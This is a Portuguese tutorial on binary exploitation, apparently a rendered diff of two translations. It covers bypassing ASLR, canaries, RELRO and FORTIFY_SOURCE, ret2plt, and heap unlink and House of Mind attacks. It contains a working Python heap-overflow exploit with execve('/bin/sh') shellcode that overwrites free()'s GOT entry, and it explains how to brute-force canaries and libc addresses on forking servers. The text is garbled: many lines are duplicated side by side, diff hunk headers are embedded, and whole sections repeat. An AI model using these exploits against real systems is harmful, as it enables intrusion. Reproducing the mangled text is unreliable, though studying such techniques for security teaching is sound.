Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, poderia ser **modificado** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode. Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ela poderia ser **modificada** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode.
## **Medidas preventivas e evasões** ## **Medidas preventivas e evasões**
**ASLR não tão aleatório**
O PaX divide o espaço de endereçamento do processo em 3 grupos:
Código e dados iniciados e não iniciados: .text, .data e .bss —> 16 bits de entropia na variável delta\_exec, esta variável é iniciada aleatoriamente com cada processo e é somada aos endereços iniciais
Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, delta\_mmap
O stack —> 24 bits, delta\_stack —> Realmente 11 (do byte 10º ao 20º inclusive) —> alinhado a 16 bytes —> 524.288 possíveis endereços reais do stack
As variáveis de ambiente e os argumentos se deslocam menos que um buffer no stack.
**Return-into-printf** **Return-into-printf**
É uma técnica para transformar um estouro de buffer em um erro de formatação de string. Consiste em substituir o EIP para apontar para um printf da função e passar uma string de formato manipulada como argumento para obter valores sobre o estado do processo. É uma técnica para transformar um estouro de buffer em um erro de formatação de string. Consiste em substituir o EIP para apontar para um printf da função e passar uma string de formato manipulada como argumento para obter valores sobre o estado do processo.
**Ataque a bibliotecas** **Ataque a bibliotecas**
As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chamar fork(), o espaço de endereçamento de memória é clonado no processo filho e permanece intacto. Portanto, pode-se tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de modo que quando demorar mais do que o normal para responder, a função será encontrada. Sabendo onde está essa função, pode-se obter delta\_mmap e calcular as demais. As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chama fork(), o espaço de endereços de memória é clonado no processo filho e permanece intacto. Portanto, é possível tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de modo que quando demorar mais do que o normal para responder, a função será encontrada. Sabendo onde está essa função, é possível obter delta\_mmap e calcular as demais.
A única maneira de ter certeza de que o ASLR funciona é usando uma arquitetura de 64 bits. Não há ataques de força bruta lá. A única maneira de ter certeza de que o ASLR funciona é usando uma arquitetura de 64 bits. Não há ataques de força bruta lá.
**StackGuard e StackShield**
**StackGuard** insere antes do EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Continuam vulneráveis recv(), memcpy(), read(), bcopy() e não protege o EBP
**StackShield** é mais elaborado que o StackGuard
Ele armazena em uma tabela (Global Return Stack) todos os endereços EIP de retorno para que o estouro de buffer não cause nenhum dano. Além disso, os dois endereços podem ser comparados para verificar se houve um estouro.
Também é possível verificar o endereço de retorno com um valor limite, então se o EIP for para um local diferente do habitual, como o espaço de dados, será detectado. Mas isso pode ser contornado com Ret-to-lib, ROPs ou ret2ret.
Como pode ser visto, o stackshield também não protege as variáveis locais.
**Stack Smash Protector (ProPolice) -fstack-protector**
Coloca o canário antes do EBP. Reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e, assim, não possam sobrescrever outras variáveis.
Além disso, faz uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos.
Não pode proteger arrays com menos de 8 elementos ou buffers que façam parte de uma estrutura do usuário.
O canário é um número aleatório retirado de "/dev/urandom" ou senão é 0xff0a0000. É armazenado em TLS (Thread Local Storage). Os threads compartilham o mesmo espaço de memória, o TLS é uma área que tem variáveis globais ou estáticas de cada thread. No entanto, em princípio, essas são copiadas do processo pai, embora o processo filho possa modificar esses dados sem modificar os do pai ou dos outros filhos. O problema é que se usar fork() mas não criar um novo canário, então todos os processos (pai e filhos) usarão o mesmo canário. No i386, é armazenado em gs:0x14 e no x86\_64, é armazenado em fs:0x28
Essa proteção localiza funções que tenham buffers que possam ser atacados e inclui no início da função código para colocar o canário e no final para verificá-lo.
A função fork() faz uma cópia exata do processo pai, por isso, se um servidor web chamar fork(), pode-se fazer um ataque de força bruta byte a byte até descobrir o canário que está sendo usado.
Se usar a função execve() após fork(), o espaço é sobrescrito e o ataque não é mais possível. vfork() permite executar o processo filho sem criar um duplicado até que o processo filho tente escrever, então cria o duplicado.
**Relocation Read-Only (RELRO)**
### Relro ### Relro
**Relro (Read only Relocation)** afeta as permissões de memória de forma semelhante ao NX. A diferença é que, enquanto com o NX torna a pilha executável, o RELRO torna **certas coisas somente leitura** para que não possamos escrever nelas. A maneira mais comum que vi isso ser um obstáculo é nos impedindo de fazer uma **sobrescrita da tabela `got`**, que será abordada posteriormente. A tabela `got` contém endereços de funções libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como são as permissões de memória para uma entrada da tabela `got` para um binário com e sem relro. **Relro (Read only Relocation)** afeta as permissões de memória de forma semelhante ao NX. A diferença é que, enquanto com o NX torna a pilha executável, o RELRO torna **certas coisas somente leitura**, então **não podemos escrever** nelas. A maneira mais comum que vi isso ser um obstáculo é nos impedindo de fazer uma **sobrescrita da tabela `got`**, que será abordada posteriormente. A tabela `got` contém endereços de funções libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como são as permissões de memória para uma entrada da tabela `got` para um binário com e sem relro.
Com relro: Com relro:
```bash ```bash
@ -630,36 +529,36 @@ gef➤ search-pattern 0x7ffff7e4d100
[+] In '/tmp/try'(0x404000-0x405000), permission=rw- [+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
``` ```
Para o binário **sem relro**, podemos ver que o endereço de entrada `got` para `fgets` é `0x404018`. Ao analisar os mapeamentos de memória, vemos que ele está entre `0x404000` e `0x405000`, que tem as **permissões `rw`**, significando que podemos ler e escrever nele. Para o binário **com relro**, vemos que o endereço da tabela `got` para a execução do binário (o pie está ativado, então este endereço irá mudar) é `0x555555557fd0`. Nos mapeamentos de memória desse binário, ele está entre `0x0000555555557000` e `0x0000555555558000`, que tem a permissão de memória **`r`**, significando que só podemos ler dele. Para o binário **sem relro**, podemos ver que o endereço da entrada `got` para `fgets` é `0x404018`. Ao analisar os mapeamentos de memória, vemos que ele está entre `0x404000` e `0x405000`, com as **permissões `rw`**, o que significa que podemos ler e escrever nele. Para o binário **com relro**, vemos que o endereço da tabela `got` para a execução do binário (o pie está ativado, então este endereço mudará) é `0x555555557fd0`. Nos mapeamentos de memória desse binário, ele está entre `0x0000555555557000` e `0x0000555555558000`, com a permissão de memória **`r`**, o que significa que só podemos ler dele.
Então, qual é o **bypass**? O bypass típico que eu uso é simplesmente não escrever em regiões de memória que o relro faz ser somente leitura, e **encontrar uma maneira diferente de obter a execução de código**. Então, qual é o **bypass**? O bypass típico que eu uso é simplesmente não escrever em regiões de memória que o relro faz ser somente leitura e **encontrar uma maneira diferente de obter a execução de código**.
Observe que para isso acontecer, o binário precisa saber antes da execução os endereços das funções: Observe que, para isso acontecer, o binário precisa conhecer previamente os endereços das funções:
* Lazy binding: O endereço de uma função é procurado na primeira vez que a função é chamada. Portanto, o GOT precisa ter permissões de escrita durante a execução. * Lazy binding: O endereço de uma função é pesquisado na primeira vez que a função é chamada. Portanto, a `GOT` precisa ter permissões de escrita durante a execução.
* Bind now: Os endereços das funções são resolvidos no início da execução, então permissões somente leitura são dadas a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* * Bind now: Os endereços das funções são resolvidos no início da execução e, em seguida, permissões somente leitura são concedidas a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
Para verificar se um programa usa Bind now, você pode fazer: Para verificar se um programa usa Bind now, você pode fazer:
```bash ```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW readelf -l /proc/ID_PROC/exe | grep BIND_NOW
``` ```
Cuando o binário é carregado na memória e uma função é chamada pela primeira vez, ele salta para a PLT (Procedure Linkage Table), a partir daí ele faz um salto (jmp) para a GOT e descobre que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Então ele invoca o Runtime Linker ou rtfd para resolver o endereço e salvá-lo na GOT. Cuando o binário é carregado na memória e uma função é chamada pela primeira vez, o salto é feito para a PLT (Procedure Linkage Table), a partir daqui é feito um salto (jmp) para a GOT e descobre-se que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Então, o Runtime Linker ou rtfd é invocado para resolver o endereço e salvá-lo na GOT.
Quando uma função é chamada, ela chama a PLT, que tem o endereço da GOT onde o endereço da função é armazenado, redirecionando o fluxo para lá e assim chamando a função. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, então o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva na GOT e chama. Quando uma função é chamada, a PLT é chamada, ela contém o endereço da GOT onde o endereço da função é armazenado, redirecionando o fluxo para lá e assim a função é chamada. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, portanto o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva na GOT e chama.
Ao carregar um binário na memória, o compilador informa em qual offset os dados que devem ser carregados quando o programa é executado devem ser colocados. Ao carregar um binário na memória, o compilador informa em qual offset os dados que devem ser carregados quando o programa é executado devem ser colocados.
Lazy binding —> O endereço da função é procurado apenas na primeira vez que a função é chamada, então a GOT tem permissões de escrita para que, quando for procurado, seja salvo lá e não precise ser procurado novamente. Lazy binding —> O endereço da função é procurado apenas na primeira vez que a função é invocada, então a GOT tem permissões de escrita para que, quando for procurado, seja salvo lá e não precise ser procurado novamente.
Bind now —> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. **-z relro** e **-z now** Bind now —> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. **-z relro** e **-z now**
Apesar disso, em geral os programas não são complicados com essas opções, então esses ataques continuam sendo possíveis. Apesar disso, geralmente os programas não são complicados com essas opções, então esses ataques continuam sendo possíveis.
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para verificar se usam o BIND NOW **readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para verificar se estão usando o BIND NOW
**Fortify Source -D\_FORTIFY\_SOURCE=1 ou =2** **Fortify Source -D\_FORTIFY\_SOURCE=1 ou =2**
Tenta identificar funções que copiam de um lugar para outro de forma insegura e substituir a função por uma função segura. Tenta identificar funções que copiam de um local para outro de forma insegura e substituir a função por uma função segura.
Por exemplo:\ Por exemplo:\
char buf\[16];\ char buf\[16];\
@ -669,9 +568,9 @@ Identifica como inseguro e então substitui strcpy() por \_\_strcpy\_chk() usand
A diferença entre **=1** ou **=2** é que: A diferença entre **=1** ou **=2** é que:
O segundo não permite que **%n** venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode ser usado **%3$d** se antes tiver sido usado **%2$d** e **%1$d** O segundo não permite que **%n** venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode ser usado **%3$d** se **%2$d** e **%1$d** forem usados antes.
Para mostrar a mensagem de erro, é usado o argv\[0\], então se for colocado lá o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191 Para exibir a mensagem de erro, o argv\[0\] é usado, então se for colocado nele o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191
**Substituição do Libsafe** **Substituição do Libsafe**
@ -679,7 +578,7 @@ Ativado com: LD\_PRELOAD=/lib/libsafe.so.2\
ou\ ou\
“/lib/libsave.so.2” > /etc/ld.so.preload “/lib/libsave.so.2” > /etc/ld.so.preload
Intercepta chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid). As chamadas para algumas funções inseguras são interceptadas por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
**ASCII Armored Address Space** **ASCII Armored Address Space**
@ -687,11 +586,11 @@ Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff pa
**ret2plt** **ret2plt**
Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e copiando o segundo byte de system()... No final, chama-se o endereço armazenado na GOT que será system() Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a função chamada é a que está armazenada na GOT, que será system().
**Falso EBP** **Falso EBP**
Para funções que usam o EBP como registro para apontar para os argumentos ao modificar o EIP e apontar para system(), também é necessário modificar o EBP para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço para &”/bin/sh”. Para funções que usam o EBP como registro para apontar para os argumentos ao modificar o EIP e apontar para system(), o EBP também deve ser modificado para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço de &”/bin/sh”.
**Jaulas com chroot()** **Jaulas com chroot()**
@ -701,168 +600,350 @@ Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de código** **Instrumentação de código**
Valgrind —> Busca erros\ Valgrind —> Procura por erros\
Memcheck\ Memcheck\
RAD (Return Address Defender)\ RAD (Return Address Defender)\
Insure++ Insure++
## **8 Heap Overflows: Exploits básicos** ## **8 Heap Overflows: Exploits básicos**
**Trozo asignado** **Chunk alocado**
prev\_size |\ prev\_size |\
size | —Cabeçalho\ size | —Cabeçalho\
\*mem | Dados \*mem | Dados
**Trozo livre** **Chunk livre**
prev\_size |\ prev\_size |\
size |\ size |\
\*fd | Ptr para o próximo troço\ \*fd | Ptr chunk seguinte\
\*bk | Ptr para o troço anterior —Cabeçalho\ \*bk | Ptr chunk anterior —Cabeçalho\
\*mem | Dados \*mem | Dados
Os troços livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois troços livres juntos (eles são unidos) Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos).
Em “size” há bits para indicar: Se o troço anterior está em uso, se o troço foi alocado por meio de mmap() e se o troço pertence à arena primária. Em “size” há bits para indicar: se o chunk anterior está em uso, se o chunk foi alocado via mmap() e se o chunk pertence à arena primária.
Ao liberar um troço, se algum dos contíguos estiver livre, eles são fundidos pela macro unlink() e o novo troço maior é passado para frontlink() para ser inserido no bin apropriado. Ao liberar um chunk, se algum dos chunks contíguos estiver livre, eles são fundidos usando a macro unlink() e o novo chunk maior é passado para frontlink() para ser inserido no bin apropriado.
unlink(){\ unlink(){\
BK = P->bk; —> O BK do novo troço é o que o troço livre anterior tinha\ BK = P->bk; —> O BK do novo chunk é o que o chunk livre anterior tinha\
FD = P->fd; —> O FD do novo troço é o que o troço livre anterior tinha\ FD = P->fd; —> O FD do novo chunk é o que o chunk livre anterior tinha\
FD->bk = BK; —> O BK do troço seguinte aponta para o novo troço\ FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk\
BK->fd = FD; —> O FD do troço anterior aponta para o novo troço\ BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
} }
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos: Portanto, se conseguirmos modificar P->bk com o endereço de um shellcode e P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
BK = P->bk = \&shellcode\ BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, ao sair do programa, a shellcode será executada. E assim, ao sair do programa, o shellcode é executado.
Além disso, a 4ª instrução de unlink() escreve algo e a shellcode precisa ser ajustada para isso: Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, então a primeira instrução da shellcode deve ser um jmp para pular isso e chegar a uns nops que levam ao restante da shellcode. BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a uns nops que levam ao restante do shellcode.
Portanto, o exploit é criado: Portanto, o exploit é criado:
No buffer1, inserimos a shellcode começando por um jmp para que caia nos nops ou no restante da shellcode. No buffer1, a shellcode é inserida começando com um jmp para cair nos nops ou no restante da shellcode.
Depois da shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo troço. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º troço se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º troço está livre. Então chamará o **unlink()**. Após a shellcode, é inserido preenchimento até chegar ao campo prev\_size e size do próximo chunk. Nestes locais, são inseridos 0xfffffff0 (para sobrescrever prev\_size e indicar que está livre) e “-4” (0xfffffffc) em size (para que, ao verificar no 3º chunk se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º chunk está livre. Então, ele chamará **unlink()**.
Ao chamar unlink(), ele usará os primeiros dados do 2º troço como P->fd, então é aí que será inserido o endereço a ser sobrescrito - 12 (pois em FD->bk ele somará 12 ao endereço armazenado em FD). E nesse endereço, será inserido o segundo endereço encontrado no 2º troço, que será o endereço da shellcode (P->bk falso). Ao chamar unlink(), os primeiros dados do 2º chunk são usados como P->fd, então o endereço a ser sobrescrito - 12 (pois em FD->bk, 12 é adicionado ao endereço armazenado em FD) é inserido lá. E nesse endereço, é inserido o segundo endereço encontrado no 2º chunk, que deve ser o endereço da shellcode (falso P->bk).
**from struct import \*** **from struct import \***
**import os** **import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interessa que o bit que indica que o troço anterior está livre esteja em 1** **prev\_size = pack("\<I”, 0xfffffff0) #É importante que o bit que indica que o chunk anterior está livre esteja como 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º troço está 4bytes atrás (aponta para prev\_size) pois é aí que ele verifica se o 2º troço está livre** **fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o "size" do 3º chunk está 4bytes atrás (aponta para prev\_size) onde ele verifica se o 2º chunk está livre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload, no início, vamos colocar 8bytes de preenchimento** **addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload, vamos adicionar 8 bytes de preenchimento no início**
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que será sobrescrito para que a shellcode seja executada na 2ª vez que free() for chamado)** **got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será sobrescrito para executar o shellcode na 2ª chamada a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como mencionado, o payload começa com 8 bytes de preenchimento porque sim** **payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Como mencionado, o payload começa com 8 bytes de preenchimento**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Otroço é modificado, o got\_free aponta para onde vamos salvar o endereço addr\_sc + 12** **payload += prev\_size + fake\_size + got\_free + addr\_sc #Ochunk é modificado, got\_free aponta para onde vamos armazenar o endereço addr\_sc + 12**
**os.system("./8.3.o " + payload)** **os.system("./8.3.o " + payload)**
**unset() liberando em sentido inverso (wargame)** **unset() liberando em sentido inverso (wargame)**
Estamos controlando 3 troços consecutivos e eles são liberados na ordem inversa à reserva. Estamos controlando 3 chunks consecutivos e eles são liberados na ordem inversa da reserva.
Nesse caso: Neste caso:
No troço c, colocamos a shellcode No chunk c, colocamos o shellcode
No troço a, usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado para que pense que o troço a está livre. Usamos o chunk a para sobrescrever o b de forma que o bit PREV\_INUSE seja desativado, fazendo o programa pensar que o chunk a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que seja -4. Além disso, sobrescrevemos o size no cabeçalho do b para que seja -4.
Então, o programa pensará que “a” está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, ele pensará que o troço “a” realmente começa em b+4. Ou seja, fará um unlink() para um troço que começa em b+4, então em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”. Assim, o programa pensará que o "a" está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV\_SIZE é -4, ele pensará que o chunk "a" realmente começa em b+4. Ou seja, fará um unlink() em um chunk que começa em b+4, então em b+12 estará o ponteiro "fd" e em b+16 estará o ponteiro "bk".
Dessa forma, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos: Dessa forma, se colocarmos o endereço do shellcode em bk e o endereço da função "puts()" -12 em fd, teremos nosso payload.
BK = P->bk = \&shellcode\ **Técnica de Frontlink**
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, ao sair do programa, a shellcode será executada. Frontlink é chamado quando algo é liberado e nenhum dos chunks adjacentes está livre, unlink() não é chamado, mas frontlink() é chamado diretamente.
Além disso, a 4ª instrução de unlink() escreve algo e a shellcode precisa ser ajustada para isso: Vulnerabilidade útil quando o malloc atacado nunca é liberado (free()).
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, então a primeira instrução da shellcode deve ser um jmp para pular isso e chegar a uns nops que levam ao restante da shellcode. Requer:
Portanto, o exploit é criado: Um buffer que pode ser sobrecarregado com a função de entrada de dados
No buffer1, inserimos a shellcode começando por um jmp para que caia nos nops ou no restante da shellcode. Um buffer adjacente a este que deve ser liberado e terá o campo fd de seu cabeçalho modificado devido à sobrecarga do buffer anterior
Depois da shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo troço. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º troço se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º troço está livre. Então chamará o **unlink()**. Um buffer a ser liberado com um tamanho maior que 512, mas menor que o buffer anterior
Ao chamar unlink(), ele usará os primeiros dados do 2º troço como P->fd, então é aí que será inserido o endereço a ser sobrescrito - 12 (pois em FD->bk ele somará 12 ao endereço armazenado em FD). E nesse endereço, será inserido o segundo endereço encontrado no 2º troço, que será o endereço da shellcode (P->bk falso). Um buffer declarado antes do passo 3 que permite sobrescrever o prev\_size deste
**from struct import \*** Assim, conseguimos sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas apenas um é liberado, podemos fazer um exploit.
**import os** **Vulnerabilidade double free()**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento** Se free() for chamado duas vezes com o mesmo ponteiro, dois bins apontarão para o mesmo endereço.
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** Se quisermos reutilizar um, não haverá problemas. Se quisermos usar outro, ele receberá o mesmo espaço, então teremos os ponteiros "fd" e "bk" falsificados com os dados que a reserva anterior escreverá.
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **After free()**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** Um ponteiro previamente liberado é usado novamente sem controle.
**prev\_size = pack("\<I”, 0xfffffff0) #Interessa que o bit que indica que o troço anterior está livre esteja em 1** ## **8 Heap Overflows: Exploits avançados**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º troço está 4bytes atrás (aponta para prev\_size) pois é aí que ele verifica se o 2º troço está livre** As técnicas Unlink() e FrontLink() foram removidas ao modificar a função unlink().
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload, no início, vamos colocar 8bytes de preenchimento** **The house of mind**
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que será sobrescrito para que a shellcode seja executada na 2ª vez que free() for chamado)** Apenas uma chamada a free() é necessária para executar código arbitrário. É interessante encontrar um segundo chunk que possa ser sobrecarregado pelo anterior e liberado.
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como mencionado, o payload começa com 8 bytes de preenchimento porque sim** Uma chamada a free() chama public\_fREe(mem), que faz:
**payload += prev\_size + fake\_size + got\_free + addr\_sc #O 2º troço é modificado, o got\_free aponta para onde vamos salvar o endereço addr\_sc + 12** mstate ar\_ptr;
**os.system("./8.3.o " + payload)** mchunkptr p;
**unset() liberando em sentido inverso (wargame)**
Estamos controlando 3 troços consecutivos e eles são liberados na ordem inversa à reserva. p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde o chunk começa (mem-8)
Nesse caso:
No troço c, colocamos a shellcode ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
No troço a, usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado para que pense que o troço a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que valha -4. \_int\_free(ar\_ptr, mem);
Então, o programa pensará que “a” está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, ele pensará que o troço “a” realmente começa em b+4. Ou seja, fará um unlink() para um troço que começa em b+4, então em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”. }
Dessa forma, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos: Em \[1], verifica o campo size do bit NON\_MAIN_ARENA, que pode ser alterado para que a verificação retorne verdadeira e execute heap_for_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (por exemplo, de 0x0804a000 para 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info)
BK = P->bk = \&shellcode\ Dessa forma, se pudermos controlar um chunk, por exemplo, em 0x0804a000 e um chunk será liberado em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo, **0x0804a000**. Quando este segundo chunk for liberado, ele encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado um and em 0x081002a0 como vimos antes e daí é extraído o valor dos primeiros 4 bytes, o ar_ptr)
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, ao sair do programa, a shellcode será executada. Assim, é chamado \_int\_free(ar_ptr, mem), ou seja, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
Além disso, a 4ª instrução de unlink() escreve algo e a shellcode precisa ser ajustada para isso: ..}
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no chunk que será liberado.
Como unsorted_chunks é definido, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
